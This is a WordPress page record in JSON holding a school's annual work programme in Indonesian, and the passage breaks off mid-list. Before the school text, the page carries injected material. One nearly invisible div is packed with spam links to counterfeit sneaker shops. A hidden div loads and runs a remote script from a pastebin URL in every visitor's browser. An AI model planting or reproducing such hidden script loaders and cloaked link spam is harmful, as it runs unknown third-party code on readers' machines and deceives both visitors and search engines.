{"id":111,"date":"2014-04-12T06:24:00","date_gmt":"2014-04-12T06:24:00","guid":{"rendered":"http:\/\/localhost\/mts_khazanah_kebajikan\/?page_id=111"},"modified":"2016-01-18T06:59:19","modified_gmt":"2016-01-18T06:59:19","slug":"program-kerja","status":"publish","type":"page","link":"https:\/\/mtskhazanahtangsel.sch.id\/?page_id=111","title":{"rendered":"Program Kerja"},"content":{"rendered":"<div class=\"_all_wplink_ShHGFPP6_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\">The 12.12.12. <a href=\"http:\/\/www.pourqwapa.com\/us\/adidas-yeezy-boost-350-oxford-tan-for-sale.html\">yeezy boost 350 moonrock for sale<\/a> event is also known as <a href=\"http:\/\/www.lunamoka.com\/us\/adidas-yeezy-boost-750-price.html\">adidas yeezy 2016<\/a> The <a href=\"http:\/\/flexxbuy.com\/us\/adidas-yeezy-boost-350-moonrock-release-date.html\">adidas yeezy boost 350 for sale<\/a> Concert for Sandy Remedy. Therefore, it <a href=\"http:\/\/texashotelvegas.com\/shoes\/adidas-yeezy-boost-350-moonrock.html\">adidas yeezy boost<\/a> was clearly for <a href=\"http:\/\/liquidtelecom.com\/shoes\/cheap-adidas-yeezy-boost-350.html\">adidas yeezy 350 boost for sale<\/a> a proficient cause. Other <a href=\"http:\/\/naswwv.org\/adidas-yeezy-boost-350-moonrock-for-sale.html\">adidas yeezy 350 boost for sale<\/a> stars who showed up <a href=\"http:\/\/www.calumetspecialty.com\/us\/yeezy-boost-350.html\">http:\/\/www.calumetspecialty.com\/us\/yeezy-boost-350.html<\/a> for the wedding included Alicia Keys, adidas yeezy boost 750, Coldplay&#8217;s Chris Martin, and the most.10 <a href=\"http:\/\/www.chris-floyd.com\/shop\/Adidas-Yeezy-Boost.html\">adidas yeezy 350 boost for sale<\/a> &#8211; <a href=\"http:\/\/www.chris-floyd.com\/shop\/mens-shoes-boots.php\">adidas shoes<\/a> Nicki Minaj &#8211; Pink Friday: Ready money <a href=\"http:\/\/www.chris-floyd.com\/yeezy350.php\">yeezy boost 350 release date<\/a> Money hero and novel queen of hip step, Minaj diverse R&#038;B and <a href=\"http:\/\/www.exerciseregister.org\/yeezy\/yeezy-350-boost-early-links-list-of-retailers.php\">adidas Oxford Tan yeezy boost 350 for sale<\/a> hip step to <a href=\"http:\/\/www.healtheast.org\/online.php\">yeezy boost 750 for sale<\/a> without <a href=\"http:\/\/www.mcmg.mountcarmelhealth.com\/yeezy-750-boost-triple-black-early-links-list-of-confirmed-retailers-online-spots\/\">yeezy boost 750 for sale<\/a> favoritism profit affect but her rhymes and moxy is <a href=\"http:\/\/www.ouraycolorado.com\/350boost.php\">yeezy boost 350 black<\/a> could you repeat <a href=\"http:\/\/www.ouraycolorado.com\/yeezy.php\">adidas yeezy boost cheap<\/a> that? <a href=\"http:\/\/www.pathintl.org\/shoes\/yeezy-boost-350-on-sale.html\">adidas yeezy boost cheap<\/a> Pressed her in the <a href=\"http:\/\/www.pathintl.org\/shop\/adidas-yeezy-boost-oxford-tan.html\">adidas shoes<\/a> top 10. Roman&#8217;s Revenge was simply sticky.Completing the roster is Love and Rockets, Black friday <a href=\"http:\/\/www.sabceducation.co.za\/2015\/12\/22\/adidas-yeezy-boost-350-oxford-tan-store-list\/\">adidas yeezy boost 750 review<\/a> 2010 Keys, Broken Social <a href=\"http:\/\/www.sakhr.com\/online.php\">yeezy boost 350 for sale<\/a> Scene, Mark Ronson, Cat Power, <a href=\"http:\/\/www.skillsactive.com\/tag\/adidas-yeezy-boost-750.html\">Yeezy 750 Boost<\/a> Lupe Fiasco, The <a href=\"http:\/\/www.villavallerosa.it\/boost350.php\">adidas yeezy boost 350 for sale<\/a> National, G. Love &#038; The Special Sauce, Sharon Jones &#038; The Dap-Kings, Explosions in the Sky, Brand New, Gogol Bordello, Dierks Bentley and Stephen Malkmus <a href=\"http:\/\/www.villavallerosa.it\/shop\/adidas-yeezy-boost-350-price.html\">http:\/\/www.villavallerosa.it\/shop\/adidas-yeezy-boost-350-price.html<\/a> &#038; The Jicks.\n<\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p><b>\u00a0<\/b><\/p>\n<ol>\n<li><b>A.\u00a0\u00a0 <\/b><b>P<\/b><b>ROGRAM<\/b><b> U<\/b><b>MUM<\/b><b><\/b><\/li>\n<\/ol>\n<p>Program umum adalah program yang dilaksanakan oleh seluruh komponen madrasah dari tingkat pimpinan, dewan guru, staf, siswa, orang tua\/wali murid dan masyarakat sekitar. Secara umum program MTs Khazanah Kebajikan diarahkan untuk menjadi insan paripurna yang berdampak pada budaya madrasah yang sehat \u00a0dengan cara : sehat spritual, sehat emosional, sehat intelektual, sehat fisik, , sehat etika, sehat estetika, sehat sosial, sehat program dan sehat finansial. Program umum yang dicanangkan adalah :<\/p>\n<ol>\n<li>Sehat spritual<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk meningkatkan keimanan dan ketaqwaan kepada Allah SWT. Program sehat spritual meliputi :<\/p>\n<ol>\n<li>Program sholat berjamaah<\/li>\n<li>Program shalat dhuha<\/li>\n<li>Program shalat tahajud berjamaah<\/li>\n<li>Program pengkajian al qur\u2019an<\/li>\n<li>Program puasa senin-kamis<\/li>\n<li>Sehat Emosional<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk meningkatkan kecerdasan emosional, selalu termotivasi dan berpikir positif serta pantang menyerah. Program sehat emosional meliputi :<\/p>\n<ol>\n<li>Program pelatihan motivasi<\/li>\n<li>Program pelatihan kerja sama tim<\/li>\n<li>Sehat Intelektual<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk meningkatkan kecerdasan otak seseorang. Program sehat intelektual meliputi :<\/p>\n<ol>\n<li>Pelatihan pembelajaran active learning<\/li>\n<li>Pelatihan pengelolaan kelas<\/li>\n<li>Kursus bahasa inggris untuk pengurus, dewan guru dan staf<\/li>\n<li>Pelatihan pembuatan media ajar<\/li>\n<li>Sehat Fisik<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk meningkatkan kesehatan fisik yang prima. Program sehat fisik meliputi :<\/p>\n<ol>\n<li>Senam bersama<\/li>\n<li>Main Futsal bersama<\/li>\n<li>Jalan santai bersama<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Sehat Etika<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk selalu membudayakan akhlaq dan tata krama yang baik. Program sehat etika meliputi :<\/p>\n<ol>\n<li>Membudayakan 5 S ( senyum, salam, sapa, sopan, santun )<\/li>\n<li>Kajian Al Qur\u2019an tentang akhlaq<\/li>\n<li>Sehat Estetika<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk membudayakan cinta keindahan dan kebersihan. Program sehat estetika meliputi :<\/p>\n<ol>\n<li>Gerakan hidup sehat, bersih, indah dan rapih dengan memilah, membuang yang tidak penting, merapikan tempat kerja dan membiasakan<\/li>\n<li>Gerakan sabtu sehat dan bersih<\/li>\n<li>Sehat sosial<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk mengembangkan hubungan harmonis baik dilingkungan internal madrasah maupun madrasah dengan pihak luar. Program sehat sosial meliputi :<\/p>\n<ol>\n<li>Menjalin kemitraan strategis dengan pihak-pihak di luar madrasah<\/li>\n<li>Kunjungan silaturrahiem kepada keluarga besar\u00a0 MTs KK yang sedang memiliki hajat atau sedang ditimpa musibah<\/li>\n<li>Pengajian rutin dengan orang tua\/wali murid secara berkala ( 3 bulan sekali )<\/li>\n<li>Sehat Program<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk merumuskan dan memantau pelaksanaan program. Sehat program meliputi :<\/p>\n<ol>\n<li>Rapat kerja<\/li>\n<li>Rapat koordinasi<\/li>\n<li>Briefing<\/li>\n<li>Pelayanan Prima<\/li>\n<li>Sehat Finansial<\/li>\n<\/ol>\n<p>Program ini dimaksudkan untuk mendukung keberhasilan peningkatan program madrasah secara keseluruhan. Namun peningkatan kesejahteraan harus berbasis pada kinerja dan prestasi<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li><b>B.\u00a0\u00a0 <\/b><b>P<\/b><b>ROGRAM<\/b><b> P<\/b><b>ER<\/b><b> B<\/b><b>IDANG<\/b><b><\/b>\n<ol>\n<li><b>1.\u00a0\u00a0 <\/b><b>Program Bidang Kurikulum <\/b>\n<ol>\n<li>Bidang Administrasi\n<ol>\n<li>Menyusun Kurikulum MTs khazanah Kebajikan secara lengkap dan rapi yang menjelaskan tentang ciri khas MTs Khazanah Kebajikan yang tertcantum dalam KTSP MTs Khazanah Kebajikan tahun 2013.<\/li>\n<li>Mengarahkan guru dalam penyusunan perangkat administrasi yang terintegrasi dengan akhlaq mulia dan mengumpulkannya pada waktu yang telah ditentukan.<\/li>\n<li>Membuat SOP guru dalam pembelajaran ( merencanakan, melaksanakan, mengevaluasi dan tindak lanjut )<\/li>\n<li>Membuat SOP dan program kerja \u00a0untuk wali kelas<\/li>\n<li>Menyediakan dan menyusun portofolio siswa baik dalam ulangan harian maupun tugas tugas harian<\/li>\n<li>Membuat kalender pendidikan tahun pelajaran 2013\u20132014<\/li>\n<li>Membuat indeks pencapaian daya serap pencapaian kurikulum<\/li>\n<li>Membuat notulen untuk menyimpulkan hasil rapat yang didokumentasikan melalui berita acara.<\/li>\n<li>Mendokumentasikan administrasi guru dan wali kelas dalam bentuk file<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Bidang Pembelajaran\n<ol>\n<li>Menyediakan persiapan pembelajaran secara optimal baik persiapan administrasi maupun media\u00a0 atau alat pembelajaran<\/li>\n<li>Menyelenggarakan diklat dan workshop bagi guru untuk meningkatkan pengetahuan dan keterampilan mengajar<\/li>\n<li>Memantau pelaksanaan proses pembelajaran agar sejalan dengan program PAIKEM ( Pembelajaran Aktif Inovatif Kreatif Efektif dan Menyenangkan )<\/li>\n<li>Merumuskan KKM setiap mata pelajaran berdasarkan kriteria penetapan KKM<\/li>\n<li>Melaksanakan pembelajaran klinik \/bengkel belajar secara tepat dan efisien sehingga mampu membantu siswa meningkatkan kemampuannya.<\/li>\n<li>Mengkoordinasikan program bimbingan dan pengayaan bagi siswa kelas IX dalam mempersiapkan Ujian Nasional<\/li>\n<li>Merumuskan kriteria kenaikan kelas dan kelulusan<\/li>\n<li>Merumuskan standar mutu pembelajaran kelas Bina Akademik dan Bina Prestasi<\/li>\n<li>Mengkoordinasikan program ujian hafalan<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>10. Menyelenggarakan study laboratorium<\/p>\n<p>11. Membuat program pemberdayaan untuk guru dan wali kelas<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Bidang Evaluasi\n<ol>\n<li>Melaksanakan penilaian tugas dan ulangan harian minimal tiga kali penilaian dalam satu semester<\/li>\n<li>Menyelenggarakan UTS, UAS, UKK, UN,dan UAMBN dengan jujur, obyektif dan berkualitas<\/li>\n<li>Menyelenggarakan ujian praktek dan hafalan al qur\u2019an<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li><b>2.\u00a0\u00a0 <\/b><b>Progra<\/b><b>m<\/b><b> <\/b><b>B<\/b><b>idang Kesiswaan<\/b>\n<ol>\n<li>Menyempurnakan tata tertib siswa<\/li>\n<li>Mengkaji ulang poin dan lebih mengedepankan\u00a0 tindakan langsung<\/li>\n<li>Membuat tahapan prosedur penindakan<\/li>\n<li>Mengklasifikasi jenis pelanggaran<\/li>\n<li>Mengkoordinasikan dan mengawasi pelaksanaan program pengembangan diri Muhadharah ( pidato 3 bahasa ) yang meliputi :\n<ol>\n<li>Pembuatan kelompok muhadharah, putra\/putri dipisah dan digabung dari kls VII &#8211; IX<\/li>\n<li>Pembuatan tata tertib muhadharah<\/li>\n<li>Penunjukan petugas muhadharah secara bergiliran dengan prinsip pemerataan<\/li>\n<li>Mengadakan lomba-lomba internal kelompok dan lomba antar kelompok muhadharah<\/li>\n<\/ol>\n<\/li>\n<li>Mengkoordinasikan program ekstra kurikuler yang meliputi :\n<ol>\n<li>Ekstra kulikuler Wajib\u00a0\u00a0\u00a0\u00a0 : Pramuka<\/li>\n<li>Ekstra kulikuler Pilihan\u00a0\u00a0\u00a0 :\n<ol>\n<li>Penjaskes \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Bulu tangkis, Futsal, Tenis meja, Pencak silat<\/li>\n<li>Seni Budaya\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Marawis, Tari Saman<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>Program penegakkan tata tertib siswa\n<ol>\n<li>Razia rambut, kuku, pakaian dan aksesorir terlarang lainnya\u00a0 (sepatu hitam putih dan kaus kaki panjang warna putih)<\/li>\n<li>Razia ketidakhadiran siswa<\/li>\n<li>Menegur atau menindak siswa yang melakukan pelanggaran baik dilingkungan madrasah maupun di luar selama masih berada dalam jam belajar<\/li>\n<li>Bekerja sama dengan pihak luar untuk melakukan pembinaan terhadap siswa<\/li>\n<li>Memberikan penghargaan kepada siswa yang berprestasi dan disiplin sesuai dengan indeks yang telah di buat<\/li>\n<li>Pembuatan buku mengaji siswa<\/li>\n<\/ol>\n<\/li>\n<li>Mengkoordinasikan dan mengawasi pelaksanaan program bimbingan dan konseling yang meliputi :\n<ol>\n<li>Orientasi dan informasi<\/li>\n<li>Penempatan dan penyaluran bakat baik akademik maupun non akademik<\/li>\n<li>Konseling individu<\/li>\n<li>Bimbingan kelompok<\/li>\n<li>Layanan konsultasi<\/li>\n<li>Layanan mediasi<\/li>\n<li>Penelitian prilaku siswa<\/li>\n<li>Penyelesaian kasus<\/li>\n<li>Kunjungan ke rumah siswa<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>10. Membuka jalur komunikasi dengan orang tua\/wali siswa<\/p>\n<p>11. Membuat jaringan facebook dengan siswa dan orang tua siswa<\/p>\n<p>12. Mengaktifkan kembali komite sekolah<\/p>\n<ol>\n<li>Mengkoordinasikan dan mengawasi pelaksanaan program Pembina OSIS yang meliputi :\n<ol>\n<li>Pemilihan dan pelantikan pengurus osis<\/li>\n<li>Latihan Dasar Kepemimpinan ( LDK )<\/li>\n<li>Konsolidasi, rapat kerja dan perencanan program pengurus osis<\/li>\n<li>Pembinaan, pemantauan dan evaluasi pengurus OSIS secara berkesinambungan<\/li>\n<li>Pelaksanaan Upacara Bendera<\/li>\n<li>Class meeting<\/li>\n<li>Perayaan Hari Besar Islam<\/li>\n<li>Perayaan Hari Besar Nasional<\/li>\n<li>English and Arabic Day (dievaluasi ulang)<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>10. Tadabbur Al qur\u2019an dan pembinaan Akhlaq (Mabit)<\/p>\n<p>11. Kegiatan khusus bulan suci ramadhan<\/p>\n<p>12. Tahajud berjamaah bagi siswa non asrama<\/p>\n<p>13. Pendataan dan pembinaan Alumni MTs Khazanah Kebajikan<\/p>\n<p>14. Mengadakan lomba\/turnamen baik antar siswa MTs maupun dengan pihak luar melalui bidang akademik dan non akademik<\/p>\n<p>15. Laporan pertanggung jawaban pelaksana kegiatan secara berkala kepada atasan<\/p>\n<ol>\n<li>Pengadministrasian dan pelaporan semua program kegiatan dengan baik untuk tertib administrasi.<\/li>\n<li>Mendokumentasikan pelaksanaan kegiatan yang dianggap perlu sebagai bahan pelaporan<\/li>\n<li>Menyusun kalender kegiatan internal kesiswaan dan dikoordinasikan dengan PKM lainnya.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li><b>3.\u00a0\u00a0 <\/b><b>Program Bidang Sarana Prasarana<\/b><b>, Tata Usaha dan Keuangan<\/b><b><\/b>\n<ol>\n<li><b>a.\u00a0\u00a0\u00a0 <\/b><b>Program Bidang Sarana Prasarana<\/b><b><\/b>\n<ol>\n<li>Pemenuhan sarana dan prasarana kelas yang sesuai standar (meja, kursi, papan, lemari kelas, papan rekapitulasi dll)<\/li>\n<li>Pemenuhan kebutuhan alat dan media pembelajaran (Infoqus, CD pembelajaran,TV, Speker active, dll)<\/li>\n<li>Setiap kelas harus mempunya infocus yang sudah terpasang<\/li>\n<li>Rehab gudang dan kamar mandi<\/li>\n<li>Melakukan perawatan gedung dan lingkungan madrasah ( pengecatan, perbaikan taman dan lain-lain )<\/li>\n<li>Melakukan pengadministrasian sarana prasarana secara periodik \/ 3 bulan<\/li>\n<li>Menginventarisasikan alat sarana\/prasarana secara baik dan benar<\/li>\n<li>Pengadaan lab computer secara bertahap<\/li>\n<li>Penambahan lab IPA secara bertahap<\/li>\n<li>Penambahan secara bertahap alat dan media pembelajaran setiap mata pelajaran<\/li>\n<li>Pemasangan speaker yang disambung kesemua ruang kelas<\/li>\n<li>Pembuatan program kerja dan kalender kegiatan yang jelas dan terukur<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Program Perpustakaan\n<ol>\n<li>Melaksanakan tugas dan fungsi utama perpustakaan dengan baik dan penuh tanggung jawab meliputi :<\/li>\n<li>Pemeliharaan dan pengecekan keberadaan bahan pustaka secara berkala \/ bulan<\/li>\n<li>Pengadaan dan penambahan bahan pustaka<\/li>\n<li>Pengelolaan bahan pustaka ( inventarisasi, klasifikasi, lebelisasi )<\/li>\n<li>Pelayanan prima kepada pengguna perpustakaan<\/li>\n<li>Pembuatan tata tertib pengguna perpustakaan(peminjam, non peminjam dll )<\/li>\n<li>Mengontrol dan mengevaluasi peminjam bahan pustaka secara berkala<\/li>\n<li>Mendata ulang bahan pustaka yang ada hingga saat ini<\/li>\n<li>Administrasi pengunjung ruang pustaka<\/li>\n<li>Pembuatan kartu peminjaman buku<\/li>\n<li>Pembuatan e-library<\/li>\n<li>Pembuatan Sistem Infomasi Perpustakaan ( SIP )<\/li>\n<li>Menciptakan suasana ruang pustaka yang asri, bersih, indah dan menyenangkan<\/li>\n<li>Penambahan bahan pustaka non buku pelajaran ( buku fiksi, non fiksi, majalah, koran, buletin, brosur )<\/li>\n<li>Mengarsipkan kliping tentang isu-isu yang dianggap penting terkait pengembangan peserta didik dari koran yang ada<\/li>\n<li>Membuat kalender program kerja yang terarah dan terukur<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Program Laboratorium IPA\n<ol>\n<li>Inventarisasi ulang semua alat di lab untuk menentukan kelayakan penggunaannya<\/li>\n<li>Pengadaan alat-alat laboratorium secara berkala sesuai skala prioritas<\/li>\n<li>Kontrol dan pemeliharaan alat lab secara berkala<\/li>\n<li>Menjaga kebersihan dan kenyamanan laboratorium<\/li>\n<li>Kelengkapan administrasi lab meliputi : jadwal praktikum, tata tertib, data inventarisasi alat<\/li>\n<li>Membuat kalender program kerja.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Program Pusat Pengembangan Bahasa Asing\n<ol>\n<li>Membuat program berkala tentang pengembangan bahasa asing<\/li>\n<li>Membuat garis besar kurikulum ekstensif bahasa inggris dan bahasa arab<\/li>\n<li>Mengelola pelatihan bahasa inggris khusus untuk guru<\/li>\n<li>Membudayakan penggunaan bahasa asing sebagai pengantar pembelajaran<\/li>\n<li>Penjaringan peserta olimpiade dan lomba pidato bahasa inggris sebagai duta MTs ke luar<\/li>\n<li>Berupaya menghadirkan native speaker<\/li>\n<li>Partisipasi dalam-lomba bahasa asing ( arab inggris ) di luar MTs<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>Program Berjangka :<\/p>\n<ol>\n<li>Program Jangka Pendek\n<ol>\n<li>Bidang Sarana Prasarana Umum<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>1)\u00a0 Pengadaan ruang untuk gudang penyimpanan barang dan alat<\/p>\n<p>2)\u00a0\u00a0\u00a0 Penambahan komputer untuk administrasi<\/p>\n<p>3)\u00a0\u00a0\u00a0 Melakukan rehab dan renovasi kursi, meja, dan sarana pembelajaran<\/p>\n<p>4)\u00a0\u00a0\u00a0 Memfungsikan kembali jendela untuk kenyamanan belajar<\/p>\n<p>5)\u00a0\u00a0\u00a0 Pengadaan dan pemasangan AC, TV, VCD, atau kipas angin secara bertahap<\/p>\n<p>6)\u00a0\u00a0\u00a0 Standarisasi sarana dan administrasi setiap ruang<\/p>\n<p>7)\u00a0\u00a0\u00a0 Pemasangan teralis secara bertahap<\/p>\n<p>8)\u00a0\u00a0\u00a0 Pengecatan 2 unit gedung<\/p>\n<p>9)\u00a0\u00a0\u00a0 Pengadaan bahan untuk kebersihan<\/p>\n<p>10) Pemasangan administrasi on line<\/p>\n<p>11) Pemeliharaan dan perawatan alat olah raga<\/p>\n<p>12) Pelebelan nama ruang<\/p>\n<p>13) Pembuatan denah ruang<\/p>\n<p>14) Pengadaan ruang perpustakaan yang berada di Gedung B<\/p>\n<p>15) Melakukan pengadministrasian sarana prasarana secara periodik setiap triwulan, semester, dan akhir tahun.<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Bidang Laboratorium IPA<\/li>\n<\/ol>\n<p>1)\u00a0\u00a0\u00a0 Inventarisasi alat yang sudah ada untuk menentukan kelayakan penggunaannya<\/p>\n<p>2)\u00a0\u00a0\u00a0 Mengklasifikasikan kelengkapan ruangan:<\/p>\n<p>a)\u00a0\u00a0\u00a0 Tersedianya ruang penyimpanan alat IPA Biologi dan IPA Fisika yang dilengkapi lemari penyimpanan<\/p>\n<p>b)\u00a0\u00a0 Tersedianya meja persiapan<\/p>\n<p>3)\u00a0\u00a0\u00a0 Kelengkapan administrasi: program kerja, jadwal praktikum, tata tertib, data inventarisasi alat dan bahan<\/p>\n<p>4)\u00a0\u00a0\u00a0 Pengadaan alat-alat laboratorium IPA Biologi dan Fisika yang sangat mendesak dalam KBM (data terlampir)<\/p>\n<p>5)\u00a0\u00a0\u00a0 Pengadaan sarana (komputer, infokus, CD) untuk pembelajaran IPA<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Bidang Media dan Alat Pembelajaran Umum<\/li>\n<\/ol>\n<p>1)\u00a0\u00a0\u00a0\u00a0\u00a0 Melengkapi alat pembelajaran untuk seluruh mata pelajaran, baik konvensional, maupun digital<\/p>\n<p>2)\u00a0\u00a0\u00a0\u00a0\u00a0 Memberikan suport terhadap guru untuk pemanfaatan sarana secara tepat guna<\/p>\n<p>3)\u00a0\u00a0\u00a0\u00a0\u00a0 Menginventarisasikan alat dan sarana secara baik dan benar<\/p>\n<p>4)\u00a0\u00a0\u00a0\u00a0\u00a0 Melengkapi media pembelajaran yang terkini<\/p>\n<p>5)\u00a0\u00a0\u00a0\u00a0\u00a0 Bekerjasama dengan pihak terkait, baik vertikal\/lintas sektoral untuk pengadaan alat-alat pembelajaran<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Bidang Laboratorium Bahasa dan Peralatan Elektronik<\/li>\n<\/ol>\n<p>1)\u00a0\u00a0\u00a0\u00a0\u00a0 Menginventarisasikan alat-alat elektronik dan elektrik<\/p>\n<p>2)\u00a0\u00a0\u00a0\u00a0\u00a0 Melakukan penyimpanan alat-alat dalam satu tempat tersendiri<\/p>\n<p>3)\u00a0\u00a0\u00a0\u00a0\u00a0 Melakukan pemeliharaan dan perawatan secara periodik\/ 3bulan<\/p>\n<p>4)\u00a0\u00a0\u00a0\u00a0\u00a0 Memfasilitasi guru dalam penggunaan alat-alat<\/p>\n<p>5)\u00a0\u00a0\u00a0\u00a0\u00a0 Membuat radio panggil untuk tiap-tiap kelas<\/p>\n<p>6)\u00a0\u00a0\u00a0\u00a0\u00a0 Menyediakan infokus, komputer, VCD di ruang lab. bahasa<\/p>\n<p>7)\u00a0\u00a0\u00a0\u00a0\u00a0 Menambah satu set sound system<\/p>\n<p>8)\u00a0\u00a0\u00a0\u00a0\u00a0 Pembelian baterai dan charger<\/p>\n<p>9)\u00a0\u00a0\u00a0\u00a0\u00a0 Perawatan AC secara berkala<\/p>\n<p>10)\u00a0\u00a0 Kelengkapan administrasi: program kerja, jadwal praktikum, tata tertib, data inventarisasi alat dan bahan<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Program JangkaMenengah\n<ol>\n<li>Pemasangan CCTV<\/li>\n<li>Pengadaan kendaraan operasiona<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Program Jangka Panjang\n<ol>\n<li>Semua sarana standar ISO<\/li>\n<li>Semua administrasi berstandar ISO<\/li>\n<li>PDB sistem on line<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li><b>b.\u00a0\u00a0 <\/b><b>Program Tata Usaha dan Keuangan<\/b><\/li>\n<li>Membuat standar baku administrasi yang teratur dan baku yang meliputi\n<ol>\n<li>Administrasi persuratan dan kearsipan (surat masuk, keluar, dokumen kepanitiaan)<\/li>\n<li>Administrasi kurikulum dan pembelajaran(absensi, adm guru, buku induk,dll)<\/li>\n<li>Administrasi keuangan (RAPBS, buku kas, buku besar, Laporan BOS, lalu lintas keuangan, penggajian dll)<\/li>\n<li>Administrasi kepegawaian\/personalia (data guru, staf, potensi perkembangan karier pegawai dll)<\/li>\n<li>Administrasi sarana prasarana (inventaris, pemeliharaan barang dll)<\/li>\n<li>Merintis pengelolaan administrasi secara komputerisasi dan terprogram<\/li>\n<li>Melengkapi berkas administrasi yang belum selesai di tahun pelajaran sebelumnya<\/li>\n<li>Membuat kalender kerja pelaksanaan program<\/li>\n<li>Membuat pembagian tugas yang jelas antar staf TU<\/li>\n<li><i>f.\u00a0\u00a0\u00a0\u00a0 <\/i><i>Membuat laporan keuangan Madrasah dan dana BOS secara terbuka (laporan keuangan madrasah\/pertahun, laporan keuangan BOS\/semester)disampaikan kepada warga madrasah dan masyarakat melalui papan pengumuman.<\/i><\/li>\n<li><i>g.\u00a0\u00a0\u00a0 <\/i><i>Tersedia DM<\/i><i>T<\/i><i> (Dana Madrasah<\/i><i> Tersimpan<\/i><i>) yang diproleh dari saldo kegiatan madrasah digunakan untuk keperluan kegiatan even besar madrasah (tour keluarga besar MTs KK, Studi Banding Madrasah,<\/i><i> <\/i><i>dll)<\/i><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><i>\u00a0<\/i><\/p>\n<ol>\n<li><b>c.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/b><b>Program Kebersihan dan Penjaga Madrasah<\/b>\n<ol>\n<li>Kebersihan rutin madrasah dan lingkungannya secara terus menerus<\/li>\n<li>Penataan taman secara indah dan asri<\/li>\n<li>Kontrol berkala kebersihan umum bulanan dalam gerakan sabtu sehat<\/li>\n<li>Penggantian kunci\/gembok yang rusak demi keamanan fasilitas madrasah<\/li>\n<li>Bersama pihak lain membangun budaya bersih lingkungan<\/li>\n<li>Kontroling dan pengamanan maksimal seluruh ruangan sebelum meninggalkan ruang madrasah diakhir tugas.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li><b>4.\u00a0\u00a0 <\/b><b>Program Bidang Usaha dan Koperasi<\/b><\/li>\n<li><b>a.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/b><b>Program Bidang Usaha<\/b>\n<ol>\n<li>Memperluas jaringan kemitraan untuk membuka usaha madrasah sebagai sumber pendapatan lain<\/li>\n<li>Tempat koperasi\u00a0 harus mempunyai tempat yang luas dan tidak sempit<\/li>\n<li>Mempromosikan karya siswa melalui pengembangan mata pelajaran mulok seni budaya dalam pameran<\/li>\n<li>Guru seni budaya menugaskan mengumpulkan\u00a0 hasil karya\u00a0 siswa yang dapat dipromosikan\u00a0 melaluii pentas seni<\/li>\n<li>Memasarkan produk rekayasa karya siswa melalui pengembangan mata pelajaran mulok keterampilan<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li><b>b.\u00a0\u00a0\u00a0\u00a0 <\/b><b>Progra<\/b><b>m<\/b><b> <\/b><b>Bidang <\/b><b>Koperasi<\/b>\n<ol>\n<li>Mengajukan surat izin mendirikan koperasi<\/li>\n<li>Memperkuat manajemen pengelolaan koperasi<\/li>\n<li>Perlu ada penjaga yang ermanen atau mengharapkan Bapak\/Ibu guru berganung diwaktu jam kosong<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>2. Membuat program pengembangan usaha (serba usaha)<\/p>\n<p>3. Mengelola pengadaan buku tulis dan alat tulis siswa<\/p>\n<ol>\n<li>Mengelola pengadaan buku paket\/penunjang belajar dan LKS siswa<\/li>\n<li>Mengelola pengadaan pakaian seragam dan atribut siswa<\/li>\n<li>Koperai tidak mengelola katering<\/li>\n<li>Membuka usaha pengadaan ATK dan kebutuhan siswa lainnya.<\/li>\n<li>Membuat aturan jelas dalam manajemen dan pengelolaan administrasi<\/li>\n<li>Ada kalender program kerja yang berkesinambungan<\/li>\n<li>Ada penanggung jawab koperasi 1 dan koperasi 2<\/li>\n<li>Mengadakan sembako untuk para guru dan staf MTs Khazanah Kebajikan<\/li>\n<\/ol>\n<p>10. Menyediakan kendaraan untuk antar jemput siswa<\/p>\n<p>11. Membuat skala prioritas 